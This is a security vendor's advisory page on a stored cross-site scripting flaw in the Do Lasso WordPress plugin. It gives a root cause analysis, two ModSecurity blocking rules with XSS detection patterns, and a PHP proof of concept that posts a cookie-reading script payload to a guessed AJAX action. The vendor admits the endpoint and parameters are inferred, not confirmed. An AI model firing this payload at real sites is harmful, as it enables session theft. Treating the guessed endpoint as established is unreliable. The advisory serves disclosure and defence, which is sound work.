Opens in a new tab
Published : November 15, 2026

CVE-2026-28158: Do Lasso <= 358 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin lasso
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 358
Patched Version —
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28158 (metadata-based): The Do Lasso plugin for WordPress (slug: lasso) versions up to and including 358 is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability resides in the plugin’s handling of user-supplied input that is stored and later rendered without proper sanitization or escaping. CVSS score 7.2 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N indicates network-based, low complexity, no privileges required, no user interaction, scope changed, and low confidentiality and integrity impact. The plugin is likely used to manage affiliate links and content. Attackers can inject arbitrary web scripts that execute when a user visits an injected page.

Root Cause: The root cause is improper neutralization of input during web page generation, classified as CWE-79. The plugin fails to sanitize or escape user-controlled input before storing it and outputting it in HTML context. Based on Atomic Edge analysis of the CWE and description, the vulnerable code likely occurs in an unauthenticated AJAX action, REST endpoint, or form submission that accepts data (e.g., link attributes, titles, descriptions) and saves it to the database without using WordPress functions like sanitize_text_field, wp_kses, or esc_html. Since no code diff is available, the exact endpoint and parameter names are inferred from common WordPress plugin patterns and the plugin’s functionality. The plugin likely registers an AJAX action such as ‘lasso_add_link’ or a REST route under ‘/wp-json/lasso/v1/links’ that lacks capability checks and nonce verification, allowing unauthenticated access.

Exploitation: An attacker sends a crafted HTTP request to the vulnerable endpoint, typically via POST to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable handler (e.g., ‘lasso_save_link’) or to a REST API endpoint like /wp-json/lasso/v1/links. The request includes a parameter (e.g., ‘url’, ‘title’, ‘description’) containing a malicious JavaScript payload such as alert(document.cookie) or an event handler like . The payload is stored in the WordPress database (e.g., in a custom table or post meta). When any user (including administrators) views the page where the data is rendered, the script executes in their browser. No authentication is required, making it trivially exploitable. Atomic Edge research notes that the exact parameter name is inferred from the plugin’s expected functionality and may require fuzzing to confirm.

Remediation: The fix requires proper input sanitization on save and output escaping on render. Developers should use WordPress functions such as sanitize_text_field, esc_url, wp_kses for allowed HTML, and esc_attr or esc_html when outputting data. For unauthenticated actions, nonce and capability checks should be added if applicable. Since no patch is available, site owners should disable or remove the plugin until an update is released. Virtual patching via WAF can block known attack patterns but does not fix the underlying issue.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of sensitive data (cookies, tokens), defacement, redirection to malicious sites, and potential privilege escalation if an administrator is targeted. The scope is changed (S:C) because the injected script can affect resources beyond the vulnerable component, such as the entire WordPress admin interface. Integrity and confidentiality are partially impacted (C:L/I:L), and availability is not affected (A:N).

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28158 (metadata-based)
# Blocks unauthenticated stored XSS attempts against Do Lasso plugin via AJAX
# Inferred endpoint: /wp-admin/admin-ajax.php with action containing 'lasso'
# and malicious script tags in parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202628158,phase:2,deny,status:403,chain,msg:'CVE-2026-28158: Do Lasso Stored XSS via AJAX',severity:'CRITICAL',tag:'CVE-2026-28158'"
  SecRule ARGS_POST:action "@contains lasso" "chain"
    SecRule ARGS_POST "@rx <script|onerror|onload|javascript:|alert(|prompt(|confirm(" "t:urlDecode,t:lowercase"

# Also protect possible REST API endpoint
SecRule REQUEST_URI "@beginsWith /wp-json/lasso/" 
  "id:202628159,phase:2,deny,status:403,msg:'CVE-2026-28158: Do Lasso Stored XSS via REST API',severity:'CRITICAL',tag:'CVE-2026-28158'"
  SecRule REQUEST_BODY "@rx <script|onerror|onload|javascript:|alert(|prompt(|confirm(" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28158 - Do Lasso <= 358 - Unauthenticated Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // Change to victim WordPress site
$ajax_action = 'lasso_save_link'; // Inferred from plugin slug and common patterns
$payload = '<script>alert(document.cookie)</script>'; // XSS payload

// Initialize cURL
$ch = curl_init();

// Assume the vulnerable endpoint is admin-ajax.php with an unauthenticated action
// Many plugins forget to add nonce checks and capability checks for AJAX actions
$data = array(
    'action' => $ajax_action,
    'url' => $payload, // Injected parameter, may be 'title', 'description', etc.
    'title' => 'Legitimate Title', // Other fields to pass basic validation if any
    'description' => 'Legitimate Description'
);

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent. Check the site for stored payload.n";
    echo "Response length: " . strlen($response) . "n";
}

curl_close($ch);

// Note: The actual action name and parameters may differ. Atomic Edge analysis suggests
// fuzzing common action names like 'lasso_add', 'lasso_update', 'lasso_link' based on
// the plugin's functionality. Successful exploitation requires that the stored payload
// is rendered without escaping on a page accessible to a victim.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.